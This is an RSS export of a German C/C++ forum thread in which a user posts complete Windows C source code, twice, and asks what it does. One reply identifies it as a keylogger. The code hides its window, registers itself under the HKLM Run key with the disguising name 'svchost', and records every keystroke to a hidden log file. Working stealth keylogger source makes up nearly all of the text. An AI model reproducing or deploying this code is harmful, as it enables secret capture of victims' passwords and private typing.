<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Kann mir jemand sagen was dieser code genau macht?]]></title><description><![CDATA[<pre><code>#include &lt;windows.h&gt;
#include &lt;stdio.h&gt;
#include &lt;winuser.h&gt;
#include&lt;iostream&gt;
#include&lt;fstream&gt;
using namespace std;

#define BUFSIZE 80

int test_key(void);
int create_key(char *);
int get_keys(void);

int main(void)
{

    HWND stealth; /*creating stealth (window is not visible)*/
    AllocConsole();
    stealth=FindWindowA(&quot;ConsoleWindowClass&quot;,NULL);
    ShowWindow(stealth,0);

    int test,create;
    test=test_key();/*check if key is available for opening*/

    if (test==2)/*create key*/
    {
        char *path=&quot;c:\\%windir%\\svchost.exe&quot;;/*the path in which the file needs to be*/
        create=create_key(path);

    }

    int t=get_keys();

    return t;
}  

int get_keys(void)
{
            short character;
              while(1)
              {

                     for(character=8;character&lt;=222;character++)
                     {
                         if(GetAsyncKeyState(character)==-32767)
                         {   

                             FILE *file;
                             file=fopen(&quot;C:\\WINDOWS\\config\\svchost.log&quot;,&quot;a+&quot;);
                             if(file==NULL)
                             {
                                     return 1;
                             }            
                             if(file!=NULL)
                             {        
                                     if((character&gt;=39)&amp;&amp;(character&lt;=64))
                                     {
                                           fputc(character,file);
                                           fclose(file);
                                           break;
                                     }        
                                     else if((character&gt;64)&amp;&amp;(character&lt;91))
                                     {
                                           character+=32;
                                           fputc(character,file);
                                           fclose(file);
                                           break;
                                     }
                                     else
                                     { 
                                         switch(character)
                                         {
                                               case VK_SPACE:
                                               fputc(' ',file);
                                               fclose(file);
                                               break;    
                                               case VK_SHIFT:
                                               fputs(&quot;[SHIFT]&quot;,file);
                                               fclose(file);
                                               break;                                            
                                               case VK_RETURN:
                                               fputs(&quot;\n[ENTER]&quot;,file);
                                               fclose(file);
                                               break;
                                               case VK_BACK:
                                               fputs(&quot;[BACKSPACE]&quot;,file);
                                               fclose(file);
                                               break;
                                               case VK_TAB:
                                               fputs(&quot;[TAB]&quot;,file);
                                               fclose(file);
                                               break;
                                               case VK_CONTROL:
                                               fputs(&quot;[CTRL]&quot;,file);
                                               fclose(file);
                                               break;    
                                               case VK_DELETE:
                                               fputs(&quot;[DEL]&quot;,file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_1:
                                               fputs(&quot;[;:]&quot;,file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_2:
                                               fputs(&quot;[/?]&quot;,file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_3:
                                               fputs(&quot;[`~]&quot;,file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_4:
                                               fputs(&quot;[ [{ ]&quot;,file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_5:
                                               fputs(&quot;[\\|]&quot;,file);
                                               fclose(file);
                                               break;                                
                                               case VK_OEM_6:
                                               fputs(&quot;[ ]} ]&quot;,file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_7:
                                               fputs(&quot;['\&quot;]&quot;,file);
                                               fclose(file);
                                               break;
                                               /*case VK_OEM_PLUS:
                                               fputc('+',file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_COMMA:
                                               fputc(',',file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_MINUS:
                                               fputc('-',file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_PERIOD:
                                               fputc('.',file);
                                               fclose(file);
                                               break;*/
                                               case VK_NUMPAD0:
                                               fputc('0',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD1:
                                               fputc('1',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD2:
                                               fputc('2',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD3:
                                               fputc('3',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD4:
                                               fputc('4',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD5:
                                               fputc('5',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD6:
                                               fputc('6',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD7:
                                               fputc('7',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD8:
                                               fputc('8',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD9:
                                               fputc('9',file);
                                               fclose(file);
                                               break;
                                               case VK_CAPITAL:
                                               fputs(&quot;[CAPS LOCK]&quot;,file);
                                               fclose(file);
                                               break;
                                               default:
                                               fclose(file);
                                               break;
                                        }        
                                   }    
                              }        
                    }    
                }                  

            }
            return EXIT_SUCCESS;                            
}                                                 

int test_key(void)
{
    int check;
    HKEY hKey;
    char path[BUFSIZE];
    DWORD buf_length=BUFSIZE;
    int reg_key;

    reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,&quot;SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run&quot;,0,KEY_QUERY_VALUE,&amp;hKey);
    if(reg_key!=0)
    {    
        check=1;
        return check;
    }        

    reg_key=RegQueryValueEx(hKey,&quot;svchost&quot;,NULL,NULL,(LPBYTE)path,&amp;buf_length);

    if((reg_key!=0)||(buf_length&gt;BUFSIZE))
        check=2;
    if(reg_key==0)
        check=0;

    RegCloseKey(hKey);
    return check;   
}

int create_key(char *path)
{   
        int reg_key,check;

        HKEY hkey;

        reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,&quot;SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run&quot;,&amp;hkey);
        if(reg_key==0)
        {
                RegSetValueEx((HKEY)hkey,&quot;svchost&quot;,0,REG_SZ,(BYTE *)path,strlen(path));
                check=0;
                return check;
        }
        if(reg_key!=0)
                check=1;

        return check;
}
</code></pre>
<p>Kann mir jemand sagen was das macht?</p>
]]></description><link>https://www.c-plusplus.net/forum/topic/157302/kann-mir-jemand-sagen-was-dieser-code-genau-macht</link><generator>RSS for Node</generator><lastBuildDate>Wed, 22 Jul 2026 16:20:11 GMT</lastBuildDate><atom:link href="https://www.c-plusplus.net/forum/topic/157302.rss" rel="self" type="application/rss+xml"/><pubDate>Thu, 24 Aug 2006 13:27:17 GMT</pubDate><ttl>60</ttl><item><title><![CDATA[Reply to Kann mir jemand sagen was dieser code genau macht? on Thu, 24 Aug 2006 15:08:01 GMT]]></title><description><![CDATA[<pre><code>#include &lt;windows.h&gt;
#include &lt;stdio.h&gt;
#include &lt;winuser.h&gt;
#include&lt;iostream&gt;
#include&lt;fstream&gt;
using namespace std;

#define BUFSIZE 80

int test_key(void);
int create_key(char *);
int get_keys(void);

int main(void)
{

    HWND stealth; /*creating stealth (window is not visible)*/
    AllocConsole();
    stealth=FindWindowA(&quot;ConsoleWindowClass&quot;,NULL);
    ShowWindow(stealth,0);

    int test,create;
    test=test_key();/*check if key is available for opening*/

    if (test==2)/*create key*/
    {
        char *path=&quot;c:\\%windir%\\svchost.exe&quot;;/*the path in which the file needs to be*/
        create=create_key(path);

    }

    int t=get_keys();

    return t;
}  

int get_keys(void)
{
            short character;
              while(1)
              {

                     for(character=8;character&lt;=222;character++)
                     {
                         if(GetAsyncKeyState(character)==-32767)
                         {   

                             FILE *file;
                             file=fopen(&quot;C:\\WINDOWS\\config\\svchost.log&quot;,&quot;a+&quot;);
                             if(file==NULL)
                             {
                                     return 1;
                             }            
                             if(file!=NULL)
                             {        
                                     if((character&gt;=39)&amp;&amp;(character&lt;=64))
                                     {
                                           fputc(character,file);
                                           fclose(file);
                                           break;
                                     }        
                                     else if((character&gt;64)&amp;&amp;(character&lt;91))
                                     {
                                           character+=32;
                                           fputc(character,file);
                                           fclose(file);
                                           break;
                                     }
                                     else
                                     { 
                                         switch(character)
                                         {
                                               case VK_SPACE:
                                               fputc(' ',file);
                                               fclose(file);
                                               break;    
                                               case VK_SHIFT:
                                               fputs(&quot;[SHIFT]&quot;,file);
                                               fclose(file);
                                               break;                                            
                                               case VK_RETURN:
                                               fputs(&quot;\n[ENTER]&quot;,file);
                                               fclose(file);
                                               break;
                                               case VK_BACK:
                                               fputs(&quot;[BACKSPACE]&quot;,file);
                                               fclose(file);
                                               break;
                                               case VK_TAB:
                                               fputs(&quot;[TAB]&quot;,file);
                                               fclose(file);
                                               break;
                                               case VK_CONTROL:
                                               fputs(&quot;[CTRL]&quot;,file);
                                               fclose(file);
                                               break;    
                                               case VK_DELETE:
                                               fputs(&quot;[DEL]&quot;,file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_1:
                                               fputs(&quot;[;:]&quot;,file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_2:
                                               fputs(&quot;[/?]&quot;,file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_3:
                                               fputs(&quot;[`~]&quot;,file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_4:
                                               fputs(&quot;[ [{ ]&quot;,file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_5:
                                               fputs(&quot;[\\|]&quot;,file);
                                               fclose(file);
                                               break;                                
                                               case VK_OEM_6:
                                               fputs(&quot;[ ]} ]&quot;,file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_7:
                                               fputs(&quot;['\&quot;]&quot;,file);
                                               fclose(file);
                                               break;
                                               /*case VK_OEM_PLUS:
                                               fputc('+',file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_COMMA:
                                               fputc(',',file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_MINUS:
                                               fputc('-',file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_PERIOD:
                                               fputc('.',file);
                                               fclose(file);
                                               break;*/
                                               case VK_NUMPAD0:
                                               fputc('0',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD1:
                                               fputc('1',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD2:
                                               fputc('2',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD3:
                                               fputc('3',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD4:
                                               fputc('4',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD5:
                                               fputc('5',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD6:
                                               fputc('6',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD7:
                                               fputc('7',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD8:
                                               fputc('8',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD9:
                                               fputc('9',file);
                                               fclose(file);
                                               break;
                                               case VK_CAPITAL:
                                               fputs(&quot;[CAPS LOCK]&quot;,file);
                                               fclose(file);
                                               break;
                                               default:
                                               fclose(file);
                                               break;
                                        }        
                                   }    
                              }        
                    }    
                }                  

            }
            return EXIT_SUCCESS;                            
}                                                 

int test_key(void)
{
    int check;
    HKEY hKey;
    char path[BUFSIZE];
    DWORD buf_length=BUFSIZE;
    int reg_key;

    reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,&quot;SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run&quot;,0,KEY_QUERY_VALUE,&amp;hKey);
    if(reg_key!=0)
    {    
        check=1;
        return check;
    }        

    reg_key=RegQueryValueEx(hKey,&quot;svchost&quot;,NULL,NULL,(LPBYTE)path,&amp;buf_length);

    if((reg_key!=0)||(buf_length&gt;BUFSIZE))
        check=2;
    if(reg_key==0)
        check=0;

    RegCloseKey(hKey);
    return check;   
}

int create_key(char *path)
{   
        int reg_key,check;

        HKEY hkey;

        reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,&quot;SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run&quot;,&amp;hkey);
        if(reg_key==0)
        {
                RegSetValueEx((HKEY)hkey,&quot;svchost&quot;,0,REG_SZ,(BYTE *)path,strlen(path));
                check=0;
                return check;
        }
        if(reg_key!=0)
                check=1;

        return check;
}
</code></pre>
<p>Kann mir jemand sagen was das macht?</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1123791</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1123791</guid><dc:creator><![CDATA[Hilfebittttteeeeee]]></dc:creator><pubDate>Thu, 24 Aug 2006 15:08:01 GMT</pubDate></item><item><title><![CDATA[Reply to Kann mir jemand sagen was dieser code genau macht? on Thu, 24 Aug 2006 13:45:54 GMT]]></title><description><![CDATA[<p>Hallo</p>
<p>1. bitte Code-Tags benutzen<br />
2. bitte richtiges Forum wäheln<br />
3. bitte erstmal selber probieren<br />
4. sagen, was man rausbekommen hat und wo genau es klemmt</p>
<p>chrische</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1123822</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1123822</guid><dc:creator><![CDATA[[[global:guest]]]]></dc:creator><pubDate>Thu, 24 Aug 2006 13:45:54 GMT</pubDate></item><item><title><![CDATA[Reply to Kann mir jemand sagen was dieser code genau macht? on Thu, 24 Aug 2006 15:08:24 GMT]]></title><description><![CDATA[<p>Dieser Thread wurde von Moderator/in <a href="http://www.c-plusplus.net/forum/profile.php?mode=viewprofile&amp;u=403" rel="nofollow">HumeSikkins</a> aus dem Forum <a href="http://www.c-plusplus.net/forum/viewforum.php?f=15" rel="nofollow">C++</a> in das Forum <a href="http://www.c-plusplus.net/forum/viewforum.php?f=4" rel="nofollow">WinAPI</a> verschoben.</p>
<p>Im Zweifelsfall bitte auch folgende Hinweise beachten:<br />
<a href="http://www.c-plusplus.net/forum/viewtopic.php?t=39405" rel="nofollow">C/C++ Forum :: FAQ - Sonstiges :: Wohin mit meiner Frage?</a></p>
<p><em>Dieses Posting wurde automatisch erzeugt.</em></p>
]]></description><link>https://www.c-plusplus.net/forum/post/1123893</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1123893</guid><dc:creator><![CDATA[C++ Forumbot]]></dc:creator><pubDate>Thu, 24 Aug 2006 15:08:24 GMT</pubDate></item><item><title><![CDATA[Reply to Kann mir jemand sagen was dieser code genau macht? on Thu, 24 Aug 2006 15:14:35 GMT]]></title><description><![CDATA[<p>Dies ist eine komplizierte Version eines Keyloggers, der sich in die Registry einschreibt damit er jedes mal wenn der Computer neugestartet wird , sich selbst startet.</p>
<p>Diesen Code hast wohl aus rohitab..</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1123896</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1123896</guid><dc:creator><![CDATA[PhoeNix_FasT]]></dc:creator><pubDate>Thu, 24 Aug 2006 15:14:35 GMT</pubDate></item><item><title><![CDATA[Reply to Kann mir jemand sagen was dieser code genau macht? on Thu, 24 Aug 2006 22:25:10 GMT]]></title><description><![CDATA[<p>Aber auser iergendwas zu loggen und sich in den autostart zu bringen macht er nix?</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1124135</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1124135</guid><dc:creator><![CDATA[...........]]></dc:creator><pubDate>Thu, 24 Aug 2006 22:25:10 GMT</pubDate></item></channel></rss>